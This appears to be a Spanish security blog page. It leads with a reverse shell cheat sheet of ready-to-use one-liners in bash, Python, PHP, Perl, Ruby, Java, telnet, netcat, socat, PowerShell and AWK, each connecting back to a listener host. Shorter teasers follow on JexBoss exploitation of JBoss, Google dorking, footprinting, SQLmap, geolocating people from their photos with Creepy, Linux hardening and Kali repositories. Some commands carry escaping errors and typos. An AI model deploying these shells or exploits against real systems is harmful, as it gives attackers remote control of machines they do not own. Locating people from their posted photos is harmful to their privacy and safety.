Reverse Shell Cheat Sheet

Listener:

nc -l -v -p 8080

Bash

exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

 

exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0

 

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

bash -i >& /dev/tcp/192.168.1.109/8080 0>&1

 

bash -i &gt;&amp; /dev/tcp/192.168.1.109//8080 0&gt;&amp;1

 

TCLsh

echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s «shell>»;flush $s;gets $s c;set e «exec $c»;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

 

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.109»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’

PHP

php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3»);’

 

php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’

 

php -r ‘$s=fsockopen(«192.168.1.109»,8080);shell_exec(«/bin/sh -i <&3 >&3 2>&3»);’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);`/bin/sh -i <&3 >&3 2>&3`;’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);system(«/bin/sh -i <&3 >&3 2>&3»);’

php -r ‘$s=fsockopen(«192.168.1.109»,8080);popen(«/bin/sh -i <&3 >&3 2>&3», «r»);’

 

Perl

perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’

perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»&gt;&amp;S»);open(STDOUT,»&gt;&amp;S»);open(STDERR,»&gt;&amp;S»);exec(«/bin/sh -i»);};’

 

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

 

Ruby

 

ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’

ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d»,f,f,f)’

 

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.109″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’

 

Java

r = Runtime.getRuntime()
p = r.exec([«/bin/bash»,»-c»,»exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done»] as String[])
p.waitFor()

 

Telnel:

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p

 

rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x

 

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f

 

telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109

 

Netcat

 

nc -e /bin/sh 192.168.1.109 8080

 

/bin/sh | nc 192.168.1.109 8080

 

rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p

 

Socat

socat tcp-connect:192.138.1.109:8080 exec:»bash -li»,pty,stderr,setsid,sigint,sane

 

Powershell

powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(«192.168.1.109»,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

 

AWK

 

awk ‘BEGIN {s = «/inet/tcp/0/192.168.1.109/8080»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null

 

Auditando y explotando vulnerabilidades con JexBoss

JexBoss es una herramienta escrita en python que nos sirve para auditar y explotar vulnerabilidades en JBoss Application Server y otras plataformas Java, Frameworks, Aplicaciones, etc.

Vectores de explotación:

  • /admin-console
    • tested and working in JBoss versions 5 and 6
  • /jmx-console
    • tested and working in JBoss versions 4, 5 and 6
  • /web-console/Invoker
    • tested and working in JBoss versions 4, 5 and 6
  • /invoker/JMXInvokerServlet
    • tested and working in JBoss versions 4, 5 and 6
  • Application Deserialization
    • tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
  • Servlet Deserialization
    • tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an «Invoker» in a link)
  • Apache Struts2 CVE-2017-5638
    • tested in Apache Struts 2 applications
  • Others

Leer más

Pentesting web – Googling

El alcance de esta actividad es la recogida de información acerca de un sitio web publicado en Internet, o encontrar un tipo específico de aplicación, como Webmin o VNC. Hay herramientas disponibles que pueden ayudar con esta técnica, como por ejemplo googlegath, pero también es posible realizar esta operación manualmente usando las opciones de búsqueda de la web de Google. Esta operación no requiere de conocimientos técnicos especializados, y es un sistema muy bueno para recopilar información sobre una web objetivo

Leer más

Pentesting – Pruebas básicas de reconocimiento web (fingerprinting/footprinting)

Footprinting

El termino footprinting hace referencia a la técnica de descubrir y recoger la mayor cantidad de información posible con respecto a una red de destino, bien porque haya sido publicada a propósito o por desconocimiento. El objetivo es extraer información relativa de la organización que incluye, pero no se limita a:

  • Rangos de direcciones IP
  • Información del registrador del dominio
  • Servidores internos
  • Cuentas de correo de los usuarios
  • Nombres de las maquinas
  • Tipo de firewall implementado
  • Tipos de acceso remoto utilizados (SSH o VPN)
  • Archivos (doc, xls, ppt, pdf, txt, etc)
  • Metadatos, etc

Leer más

Aprendiendo a utilizar SQLmap

¿Que es SQLmap?

SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar peticiones a los parámetros de una URL que se le indiquen, ya sea mediante una petición GET, POST, en las cookies, etc. Es capaz de explotar todo tipo de SQLi como union-base, time-base-blind, base-blind-injection, heavy-queries, etc.

Brevemente os indicare comandos los cuales utilizareis mas cuando lleveis a cabo un pentesting con SQLmap.

Leer más

Geolocalización con Creepy

  Creepy es un programa multiplataforma que nos permitía geolocalizar personas a partir de sus imágenes publicadas en Twitter, Flickr e Instagram

Instalamos dependencias

apt-get install python-qt4 python-pip

Instalamos las librerías necesarias de python

pip install tweepy yapsy configobj python-instagram flickrapi

Descargamos el software

git clone https://github.com/ilektrojohn/creepy

Accedemos a la carpeta

cd creepy/creepy/

Ejecutamos el software

python CreepyMain.py

Captura de pantalla de 2014-03-03 19:03:01

 

Leer más

Hardening básico en GNU/Linux

Hardening (palabra en ingles que significa endurecimiento) en seguridad informática es el proceso de asegurar un sistema mediante la reducción de vulnerabilidades en el mismo, esto se logra eliminando software, servicios, usuarios, etc. Innecesarios en el sistema así como cerrando puertos que tampoco estén en uso además de muchas otros métodos y técnicas que veremos durante este pequeño resumen introductorio al Hardening de sistemas.

Haciéndole la vida difícil al atacante. Ese es el resumen de la razón de ser del Hardening de sistemas operativos, que se podría decir que es un conjunto de actividades que son llevadas a cabo por el administrador de un sistema operativo para reforzar al máximo posible la seguridad de su equipo. Su propósito, entorpecer la labor del atacante y ganar tiempo para poder minimizar las consecuencias de un inminente incidente de seguridad e incluso, en algunos casos, evitar que éste se concrete en su totalidad.

Leer más

Añadir repositorios de Kali Linux en Debian squeeze

Como ya sabemos los creadores de  BackTrack Linux  han reprogramado una nueva versión basada el Debian. Pues vamos aprobecharlo para añadir los repositorios a nuestra distribución Debian squeeze

 

Agregamos lo repositorios en el source

vi /etc/apt/source.list

#Kali Linux

deb http://http.kali.org/kali kali main contrib non-free
deb-src http://http.kali.org/kali kali main contrib non-free

Actualizamos los paquetes

rokitoh@redorbita:/ #  apt-get update

No soltara el siguiente error porque le hace falta la KEY

W: Error de GPG: http://http.kali.org kali Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY ED444FF07D8D0BF6

Añadimos el KEY

rokitoh@redorbita:/ # gpg –keyserver subkeys.pgp.net –recv-keys ED444FF07D8D0BF6
rokitoh@redorbita:/ # gpg –export –armor ED444FF07D8D0BF6 | apt-key add –

OK

Un saludo,

:wq!